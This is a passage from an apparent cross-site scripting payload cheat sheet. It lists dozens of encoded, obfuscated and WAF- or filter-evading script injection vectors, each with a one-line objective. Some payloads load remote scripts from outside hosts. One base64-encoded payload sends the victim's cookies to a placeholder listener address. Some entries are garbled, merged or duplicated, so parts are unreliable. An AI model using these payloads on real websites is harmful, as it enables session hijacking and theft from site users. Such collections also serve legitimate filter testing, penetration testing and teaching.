+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Objective: Represents UTF-7 BOM characters (Has to be at the start of the document) 4.

40) **<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">**

Objective: Represents upgrade insecure requests.

41) **<iframe sandbox src="//portswigger-labs.net"></iframe>**

Objective: Represents disable JavaScript via iframe sandbox.

42) **<meta name="referrer" content="no-referrer">**

Objective: Represents disable referrer.

Encoding

1) **%C0%BCscript>alert(1)</script>**

%E0%80%BCscript>alert(1)</script>

%F0%80%80%BCscript>alert(1)</script>

%F8%80%80%80%BCscript>alert(1)</script>

%FC%80%80%80%80%BCscript>alert(1)</script>

Objective: Represents Overlong UTF-8 Encoding.

2) **<script>\u0061lert(1)</script>**

Objective: Represents unicode escapes.

3) **<script>\u{61}lert(1)</script>**

Objective: Represents Unicode escapes ES6 style.

4) **<script>\u{0000000061}lert(1)</script>**

Objective: Represents Unicode escapes ES6 style zero padded.

5) **<script>eval('\x61lert(1)')</script>**

   Objective: Represents Hex encoding JavaScript escapes.

6) **<script>eval('\141lert(1)')</script>**

   <script>eval('alert(\061)')</script>

   <script>eval('alert(\61)')</script>

   Objective: Represents Octal encoding

7) **<a href="&#106;avascript:alert(1)">XSS</a><a href="&#106avascript:alert(1)">XSS</a>**

   Objective: Represents Decimal encoding with optional semi-colon.

8) **<svg><script>&#97;lert(1)</script></svg>**

   <svg><script>&#x61;lert(1)</script></svg>

   <svg><script>alert&NewLine;(1)</script></svg>

   <svg><script>x="&quot;,alert(1)//";</script></svg>

   Objective: Represents SVG script with HTML encoding.

9) **<a href="&#0000106avascript:alert(1)">XSS</a>**

   Objective: Represents Decimal encoding with padded zeros.

10) **<a href="&#x6a;avascript:alert(1)">XSS</a>**

    Objective: Represents Hex encoding entities.

11) **<a href="j&#x61vascript:alert(1)">XSS</a>**

    <a href="&#x6a

    avascript:alert(1)">XSS</a>

    <a href="&#x6a avascript:alert(1)">XSS</a>

    Objective: Represents Hex encoding without semi-colon provided next character is not a-f0-9.

12) **<a href="&#x0000006a;avascript:alert(1)">XSS</a>**

    Objective: Represents Hex encoding with padded zeros.

13) **<a href="&#X6A;avascript:alert(1)">XSS</a>**

    Objective: Represents Hex encoding is not case sensitive.

14) **<a href="javascript&colon;alert(1)">XSS</a>**

    <a href="java&Tab;script:alert(1)">XSS</a>

    <a href="java&NewLine;script:alert(1)">XSS</a>

    <a href="javascript&colon;alert&lpar;1&rpar;">XSS</a>

    Objective: Represents HTML entities.

15) **<a href="javascript:x='%27-alert(1)-%27';">XSS</a>**

    Objective: Represents URL encoding.

16) **<a href="javascript:x='&percnt;27-alert(1)-%27';">XSS</a>**

    Objective: Represents HTML entities and URL encoding.

Obfuscation

1) **<a href="javascript&#x6a;avascript:alert(1)">Firefox</a**

    Objective: Represents that Firefox allows NULLS after &

2) **<a href="javascript&colon;alert(1)">Firefox</a>**

    Objective: Represents that Firefox allows NULLs inside named entities

3) **<!-- ><img title="--><iframe/onload=alert(1)>"> -->**

    <!-- ><img title="--><iframe/onload=alert(1)>"> -->

    Objective: Represents that Firefox allows NULL characters inside opening comments.

4) **<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>**

    Objective: Represents Data protocol inside script src with base64

URL String Evasion

1) ***<A HREF=http://66.102.7.147/>link</A>***

    Objective: IP verses hostname, attacks directly by using IP address.

2) ***<A HREF=http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D>link</A>***

    Objective: This is applied for URL encoding.

3) ***<A HREF=ht://www.google.com/>link</A>***

    Objective: It is used for protocol resolution bypass.

4) ***<A HREF=http://google.com/>link</A>***

    Objective: This is used for removing cnames.

5) ***<A HREF=http://www.google.com./>link</A>***

    Objective: Representing the extra dot for DNS to access.

6) ***<A HREF="javascript:document.location='http://www.google.com/'">link</A>***

    Objective: This represents the java script link location.

7) ***<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>***

    Objective: The content replacement for attacking vector.

Character Encoding

1) ***<***

%3C

&lt

&lt;

&LT

&LT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&#60;

&#060;

&#0060;

&#00060;

&#000060;

&#0000060;

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&#x3c;

&#x03c;

&#x003c;

&#x0003c;

&#x00003c;

&#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&#X3c;

&#X03c;

&#X003c;

&#X0003c;

&#X00003c;

&#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&#x3C;

&#x03C;

&#x003C;

&#x0003C;

&#x00003C;

&#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&#X3C;

&#X03C;

&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C

Objective: Represents all possible combinations using HTML and javascript standards.

2) ***<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>***

   Objective: XSS javascript injection with no filter evasion.

3) ***<IMG SRC=javascript:alert(&quot;XSS&quot;)>***

   Objective: HTML entities.

4) ***<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>***

   Objective: Representing the Grave accent obfuscation.

5) ***<IMG """><SCRIPT>alert("XSS")</SCRIPT>">***

   Objective: Representing the malformed IMG tags.

6) ***<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>***

   Objective: Representing the char code for XSS vector.

7) ***<IMG SRC="jav&#x0D;ascript:alert('XSS');">***

   Objective: Representing the embedded carrier return to break XSS.

8) ***perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out***

   Objective: Null break up JavaScript directive.

9) ***perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out***

   Objective: Null break up cross site scripting vector.

10) ***<SCRIPT/XSS SRC="http://jb51.net/xss.js"></SCRIPT>***

   Objective: Spaces and meta chars before JS images for XSS.

11) ***<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>***

   Objective: Representing the non-alpha non-digit XSS.

12) ***<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>***

    Objective: Representing the non-alpha non-digit part 2 XSS.

13) ***<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>***

    Objective: Representing the non-alpha non-digit part 3 XSS.

14) ***<<SCRIPT>alert("XSS");//<</SCRIPT>***

    Objective: Representing the extraneous open brackets.

15) ***<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>***

    Objective: Representing the no closing Script tags.

16) ***<SCRIPT SRC=//ha.ckers.org/.j>***

    Objective: Representing the protocol resolution in script tags.

17) ***<IMG SRC="javascript:alert('XSS')"***

    Objective: Representing the half open HTML/JavaScript XSS vector.

18) **<IMG SRC=j&#X41vascript:alert('test2')>**

    Objective: Represents XSS using Script Via Encoded URI Schemes.

19) ***<iframe src=http://ha.ckers.org/scriptlet.html <***

    Objective: Representing the double open angle brackets vector.

20) ***\";alert('XSS');//***

    Objective: Representing the escaping JavaScript escapes vector.

21) ***</TITLE><SCRIPT>alert("XSS");</SCRIPT>***

    Objective: Representing the end of title tag vector.

22) ***<IMG LOWSRC="javascript:alert('XSS')">***

    Objective: Representing the low-resolution image attack.

23) ***<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>***

    Objective: Representing the remote style sheet part 2 vector.

24) ***<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">***

    Objective: Representing the remote style sheet part 3 vector.

25) ***<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>***

    Objective: Representing the remote style sheet part 4 vector.

26) ***<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS***

    Objective: Representing the list style image vector.

27) ***¼script¾alert(¢XSS¢)¼/script¾***

Objective: Representing the encoding of US-ASCII used to bypass the content filters.

28) ***<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">***

Objective: It explains the directive URL meta scheme vector.

29) ***<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">***

Objective: It explains the meta with additional URL parameter.

30) ***<TABLE><TD BACKGROUND="javascript:alert('XSS')">***

Objective: It explains the exploit of TD tag in HTML.

31) ***<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">***

Objective: Representing DIV tag background image with unicoded XSS exploit.

32) ***<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">***

Objective: Representing DIV tag background image with extra characters.

33) ***STYLE="xss:expr/*XSS*/ession(alert('XSS'))">***

Objective: Representing the style attribute using a comment to break the expression vector.

34) ***<XSS STYLE="xss:expression(alert('XSS'))">***

Objective: Representing the anonymous HTML with STYLE attribute vector.

35) ***exp/*<A STYLE='no\xss:noxss("*//*");***

xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

Objective: It represents the IMG style with expression vector.

36) ***<!--[if gte IE 4]>***

<SCRIPT>alert('XSS');</SCRIPT>

<![endif]-->

Objective: Represents down level Hidden block vector.

37) ***<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>***

Objective: Represents the embedding of XSS directly by using object tag.

38) ***<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>***

Objective: This explains that by using an EMBED tag you can embed a Flash movie that contains XSS.

39) ***<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>***

Objective: With this we can EMBED SVG which can contain your XSS vector.

40) **<XSS STYLE="behavior: url(xss.htc);">**

Objective: Represents local htc file.

41) ***<HTML xmlns:xss>***

<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">

<xss:xss>XSS</xss:xss>

</HTML>

Objective: This represents the XML namespace. The htc file must be located on the same server.

42) ***<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>***

</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Objective: This represents the XML data island with CDATA obfuscation.

43) ***<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- --
>cript:alert('XSS')"&gt;</B></I></XML>***

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

Objective: This represents the XML data island with comment obfuscation.

44) ***<XML SRC="xsstest.xml" ID=I></XML>***

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Objective: This represents locally hosted XML with embedded JavaScript that is generated by using an XML data island.

45) ***<HTML><BODY>***

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;">

</BODY></HTML>

Objective: Representing HTML plus TIME in XML to attack.

46) **<html>**

<body>

<? php

print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);

?>

</body>

</html>

Objective: Represents error page example.

47) ***<? echo('<SCR)';***

echo('IPT>alert("XSS")</SCRIPT>'); ?>

Objective: It requires PHP to be installed on the server to use this XSS vector.

48) ***<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">***

Objective: This represents the Image embedded command vector.

49) ***Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser***

Objective: This represents the Image embedded command part 2 vector.

50) ***<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">***

Objective: This represents the cookie manipulation command vector.

51) ***<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-***

Objective: This represents the UTF-7 encoding exploiting vector.

52) ***<A HREF="http://1113982867/">XSS</A>***

Objective: This represents the Dword encoding exploitation vector.

53) ***<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>***

Objective: This represents the Hex encoding exploitation vector.

54) ***<A HREF="http://0102.0146.0007.00000223/">XSS</A>***

Objective: This represents the Octal encoding exploitation vector.

55) **<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">**

Objectives: This represents Base 64 encoding exploitation.

56) ***<A HREF="http://6&#9;6.000146.0x7.147/">XSS</A>***

Objective: This represents the Mixed encoding exploitation vector.

57) ***<A HREF="//google">XSS</A>***

Objective: This represents the protocol resolution bypass vector part 1.

58) ***<A HREF="http://ha.ckers.org@google">XSS</A>***

Objective: This represents the protocol resolution bypass vector part 2.

59) ***<A HREF="http://google:ha.ckers.org">XSS</A>***

Objective: This represents the protocol resolution bypass vector part 3.

60) ***<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>***

Objective: It is used to replace the content to attack the vector.

61) ***<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>***

Objective: It is used to replace the content to attack the vector.

62) ***<svg/onload=alert('XSS')>***

Objective: This represents SVG object tag.

63) ***Set.constructor`alert\x28document.domain\x29```***

Objective: This refers to the ECMAScript6.

64) **<img src=1 onerror=alert(1)>**

<iframe src=javascript:alert(1)>

Objective: Represents DOM insert injection

65) **data:text/html,<img src=1 onerror=alert(1)>**

data:text/html,<iframe src=javascript:alert(1)>

Objective: DOM Insert Injection — Resource Request

66) **<script src=data:,alert(1)>**

<script src=//brutelogic.com.br/1.js>

*Objective***:** This refers to Script Injection — No Closing.

Bypassing WAF for XSS

1) ***<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">***

<Video> <source onerror = "javascript: alert (XSS)">

```
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
```

Objective: These strings are used to bypass WAF to conduct XSS attack.

2) ***(alert)(1)***

a=alert,a(1)

[1].find(alert)

top["al"+"ert"](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top['al\145rt'](1)

top['al\x65rt'](1)

top[8680439..toString(30)](1)

Objective: These strings are used to bypass WAF using Alert Obfuscation.

3) ***Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>***

Exploitation: /?xss=500); alert(document.cookie);//

Objective: It represents Reflected XSS in JavaScript to bypass WAF.

4) ***Example: <script> ... eval($_GET[xss]); ... </script>***

Exploitation: /?xss=document.cookie

Objective: It represents DOM-based XSS to bypass WAF.

5) ***Assume that this the vulnerable code:***

...

header('Location: '.$_GET['param']);

...

As well as:

...

header('Refresh: 0; URL='.$_GET['param']);

...

• The given request will not be able to bypass WAF:

/?param=javascript:alert(document.cookie)

• This request will be able to bypass the WAF and an XSS attack will be implemented in certain browsers.

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

Objective: It is used to conduct XSS via Request Redirection to bypass WAF.

Bypassing SRC domain filters

1) **<IMG onmouseover="alert('xxs')">**

   Objective: It refers to the use of default SRC tag by leaving it out entirely to bypass SRC domain filters.

2) **<IMG SRC= onmouseover="alert('xxs')">**

   Objective: It represents use of default SRC tag by leaving it empty.

3) **<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>**

   Objective: It uses ON error alert to bypass filters.

4) **<img src=x**

   onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

   Objective: It uses IMG onerror and JavaScript alert encode to bypass filters.

5) **<IMG SRC=# onmouseover="alert('xxs')">**

   *Objective:*Default SRC tag to get past filters that check SRC domain

6) **<Svg OnLoad=alert(1)> <Script>alert(1)</Script>**

   Objective: Mixed Case XSS is used to bypass case-sensitive filter.

7) **<svg onload=alert(1)// <svg onload="alert(1)"**

8) *Objective:* Unclosed Tags is used in HTML injections to avoid filtering based in the presence of both lower than (<) and greater than (>) signs. **<SVG ONLOAD=&#97&#108&#101&#114&#116(1)> <SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>**

   Objective: Uppercase XSS is used when application reflects input in uppercase.

9) **<script/x>alert(1)</script>**

   Objective: Extra Content for Script Tags is used when filter looks for "<script>" or "<script src=..." with some variations but without checking for other non-needed attribute.

10) **%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E**

    Objective: Double Encoded XSS is used when application performs double decoding of input.

11) **alert`1`**

    Objective: Alert without Parentheses (Strings Only) is used in an HTML vector or JavaScript injection when parentheses are not allowed and a simple alert box is enough.

12) **setInterval`alert\x28document.domain\x29`
setTimeout`alert\x28document.domain\x29`**

Objective: Alert without Parentheses is used in an HTML vector or javascript injection when parentheses are not allowed and PoC needs to return any target info.

13) **<svg onload=alert&lpar;1&rpar;> <svg onload=alert&#40;1&#41>**

Objective: Alert without Parentheses is used (Tag Exclusive) only in HTML injections when parentheses are not allowed Replace “&” with “%26” in URLs.

14) **[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] ('\141\154\145\162\164\50\61\51')()**

Objective: Alert without Alphabetic Chars is used when alphabetic characters are not allowed. Following is alert(1).

15) **GIF89a=//<script> alert(1)//</script>;**

Objective: File Upload Injection – HTML/js GIF Disguise is used to bypass CSP via file upload. Save all content below as “xss.gif” or “xss.js” (for strict MIME checking). It can be imported to target page with <link rel=import href=xss.gif> (also “xss.js”) or <script src=xss.js></script>. It’s image/gif for PHP.

16) **eval(URL.slice(-8)) #alert(1) eval(location.hash.slice(1)) #alert(1) document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>**

Objective: Jump to URL Fragment is used when you need to hide some characters from your payload that would trigger a WAF for example. It makes use of respective payload format after URL fragment (#).

17) **Tag Scheme: <name [1] attrib [2] = [3] value [4] handler [5] = [6] js [7]>**

[1], [2], [5] => %09, %0A, %0C, %0D, %20, / and + [3] & [4] => %09, %0A, %0C, %0D, %20, + and ' or " in both [6] & [7] => %09, %0A, %0B, %0C, %0D, %20, /, + and ' or " in both

Objective: HTML Alternative Separators is used when default spaces are not allowed. Slash and quotes (single or double) might be URL encoded (%2F, %27 and %22 respectively) also, while plus sign (+) can be used only in URLs.

18) **"o<x>nmouseover=alert<x>(1)// "autof<x>ocus o<x>nfocus=alert<x>(1)//**

Objective: Strip Tags Based Bypass is used when filter strips out anything between a < and > characters. Inline injection only.

19) **&lt;svg/onload&equals;alert(1)&gt;**

Objective: 2nd Order XSS Injection is used when input is used twice, like stored normalized in a database and then retrieved for later use or inserted into DOM.

XSS in image and HTML tags

1) **<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>**

   Objective: Represents Decimal HTML character.

2) **<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>**

   Objective: Represents Decimal HTML character references without trailing semicolons.

3) **<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>**

   Objective: Represents Hexadecimal HTML character references without trailing semicolons.

4) **<BODY ONLOAD=alert(‘XSS’)>**

   <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>

   <IMG SRC=”javascript:alert(‘XSS’)”

   Objective: Represents XSS in image and HTML tags.

Bypass the script tag filtering

1) **<scr<script>ipt>alert(1)</scr</script>ipt>**

   Objective: Used to bypass the script tag filtering.

Multi Reflection

1) **‘onload=alert(1)><svg/1=’**

   ‘>alert(1)</script><script/1=’

   /alert(1)</script><script>/

   Objective: Represents Double reflection (Single input*).*

2) ***/alert(1)”>’onload=”/*<svg/1=’**

   `-alert(1)”>’onload=”`<svg/1=’

   ***/</script>’>alert(1)/*<script/1=’**

   Objective: Represents Triple reflection (Single input*).*

3) **p=<svg/1=’&q=’onload=alert(1)>**

   p=<svg 1=’&q=’onload=’/*&r=*/alert(1)’>

   Objective: Represents Multi Input Reflections (Double and Triple reflections)

File upload injection

1) **"><svg onload=alert(1)>.gif**

   Objective: Represents File Upload Injection – Filename.

2) **brute@logic:~$ exiftool -Artist=’”><svg onload=alert(1)>’ xss.jpeg**

   Objective: File upload injection-Metadata is used when metadata of uploaded file is reflected somewhere in target page.

XSS filter bypass

1) **<a href="&#106;avascript:alert('Successful XSS')">Click this link!</a>**

   Objective: Represents character encoding when some or all characters can be written as HTML entities with ASCII codes to bypass filters that directly search for a string like javascript

2) **<a href="&#x6A;avascript:alert(document.cookie)">Click this link!</a>**

   Objective: Represents character encoding to evade filters that look for HTML entity codes by scanning for &# followed by a number, hexadecimal encoding can be used for ASCII codes

3) **<body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">**

   Objective: Represents character encoding where Base64 encoding can be used to obfuscate attack code – this example also displays an alert saying “Successful XSS”

4) **<a href="&#x6A;avascript&#0000058&#0000097lert('Successful XSS')">Click this link!</a**

   Objective: Represents character encoding where all encoded character entities can be from 1 to 7 numeric characters, with initial zeroes being ignored, so any combinations of zero padding are possible. Also note that semicolons are not required at the end of entities

5) **<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>**

   Objective: Represents character codes that can be used to hide XSS payloads.

6) **<img src="java	script:al ert('Successful XSS')">**

   Objective: Represents whitespace embedding where tab characters are ignored when parsing code, so they can be used to break up keywords, as in this <img> tag

7) **<img src="java&#x09;script:al&#x09;ert('Successful XSS')">**

   Objective: Represents whitespace embedding where tabs can also be encoded

8) **<a href="jav&#x0A;a**

   script:&#x0A;ale&#x0Drt;('Successful

   XSS')">Visit google.com</a>

   Objective: Represents whitespace embedding where just like tabs, newlines and carriage returns are also ignored and can also be encoded

9) **<a href=" &#x8; &#23;   javascript:alert('Successful XSS')">Click this link!</a>**

   Objective: Represents whitespace embedding where some filters may look for "javascript: or 'javascript: and will not expect spaces after the quote. In fact, any number of spaces and meta characters from 1 through 32 (decimal) will be valid

10) **<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>**

    Objective: Represents whitespace embedding where if the filter simply scans the code once and removes specific tags, such as <script>, nesting them inside other tags will leave valid code after they are removed

11) **<img/src="funny.jpg"onload=&#x6A;avascript:eval(alert('Successful&#32XSS'))>**

    Objective: Represents spaces between attributes can often be omitted. Also, a slash is a valid separator between the tag name and attribute name, which can be useful to evade whitespace limitations in inputs – note no whitespace in the entire string.

12) **<a onmouseover=alert(document.cookie)>Go to google.com</a>**

    Objective: Represents evasion attempts can also exploit browser efforts to interpret and complete malformed tags. Here's an example that omits the <href> attribute and quotes

13) **<img """><script src=xssattempt.js></script>">**

    Objective: Represents an extreme example of browser completion for a completely wrecked <img> tag

14) **<a href='vbscript:MsgBox("Successful XSS")'>Click here</a>**

    Objective: Represents the majority of XSS checks will check for JavaScript, but Internet Explorer up to IE10 would also accept VBScript

15) **<img dynsrc="javascript:alert('Successful XSS')">**

    Objective: Represents the rare and deprecated dynsrc attribute can provide another vector

16) **<img src=`javascript:alert("The name is 'XSS'")`>**

    Objective: Represents the use of backticks when you need both double and single quotes

17) **<link rel="stylesheet" href="http://example.com/xss.css">**

    Objective: Used in older IE versions, where you could also include a script disguised as an external style sheet

18) **<body background="javascript:alert('Successful XSS')**

    Objective: Represents background image manipulation

19) **<div style="background-image:url(javascript:alert('Successful XSS'))">**

    Objective: Represents background image manipulation using a style

20) **<input type="image" src="javascript:alert('Successful XSS')">**

    Objective: Represents images without <img> tags

21) **<meta http-equiv="refresh" content="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">**

    Objective: Represents to redirect using a <meta> tag: In some older browsers, this will display an alert by evaluating Base64-encoded JavaScript code

22) **<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>+adw-script+ad4-alert('xss');+adw-/script+ad4**

    Objective: Represents an interesting vector that uses UTF-7 encoding to hide the XSS payload.

23) **<h1 id=”xss”onmouseover=”prompt(1)”>a**

    <style/onload=alert(1)>

    Objective: Represents creation of a payload without space

24) **<p id=”\u0070rompt(1)”onmouseover=\u0065val(id)>a</p>**

    %26 instead of &

    <a href=”data: , &lt &NewLine; script &gt alert(1) &lt /script &gt “>CLICK #firefox

    Objective: Used to bypass XSS filter using Unicode

25) **<p id=’>’onmouseover=prompt(1)>aaaa</p>**

    <p class=’>’onmouseup=confirm(1)>aaaa</p>

    Objective: Represents closing angular bracket as a value of class attribute and the purpose is to fool the parser

26) **<a style=’color:red’onmouseover=this.onmouseover=alert`1`>aaa</a>**

    Objective: Represents use of “ instead of parenthesis () for function call provided by ES6.

27) **<a class=’xss’style=’color:red’href=’?’onmouseover=id=/confir/.source+’m’+'(1)’; onmousedown=eval(id)>click</a>**

    Objective: Represents used source property of regexp object that returns the string without slashes. The purpose is to defeat black-listed keyword confirm.

28) **<h1 class=’xss’contenteditable=”true”onkeydown=confirm(/xss/)>xss</h1>**

    Objective: Represents the contenteditable attribute

29) **<p class='xss'draggable="true"ondragstart=alert`1`>xss</p>**

<a class='xss'draggable="true"href='?'ondragenter/ondragleave=alert`1`>xss</a>

Objective: Represents the draggable attribute

30) **<body%2fonpageshow=confirm(1)**

<marquee%2fonstart=confirm`1`

Objective: Represents the use of %2f instead of /.

31) **"t" == &#116 while & == %26 and # == %23**

Objective: Represents Decimal encoding of character.

32) **<iframe name=javascript:confirm(1) onload="URL=name">**

Objective: Represents old trick (IE Specific) URL = name while name == javascript:alert(1).

33) **<iframe/i='javascript:alert(1)'onload='URL=i'>**

Objective: Represents URL=I OR any alphabet.

34) **<style/i=javascript:alert(1)'onload='URL=i'>**

Objective: Represents the use of style tag if iframe tag had been blocked.

35) **<div/onmouseover=confirm(1)>div</div**

Objective: Represents half-close XSS payloads

36) **/* HTML5 based entities were doing good in bypassing data URI RE */<a href='data&colon;text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+'>click</a> <a href='data:application/x-x509-user-cert;&NewLine;base64 NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>click</a>/* Both are Firefox specific payloads *//* The RE initially thinks that base64 keyword is necessary. */<a href="data:x,% 3 c script % 3 e alert(1) % 3 c/script %3 e">click</a>/* The RE thinks that only alphanumeric characters are allowed after data URI */<a href="data:@['{§(`__`)$}']@, % 3 c script % 3 e alert(1) % 3 c/script %3 e">click</a>**

Objective: Represents evasion-via-data-uri-scheme.

37) **/* The first two payloads bypasses the check on word expression with the help of \ */**

<div style="x:e\x\p\r\ession(alert(1))">div</div>

<p style='\x:\65xpre\73sio\6e(alert(1))'>hello barracuda</p>

/* The regular expression was expecting (after the keyword expression */

<div style="width:expression\28 alert \28 1\29 \29">I will bypass you</div>

/* Decimal Encoding without the presence of ; bypasses the regular expression */

<div style="width&#58expression&#40alert&#40 1&#41&#41">I will not match</div>

Objective: Represents Xss-style-attr.

```
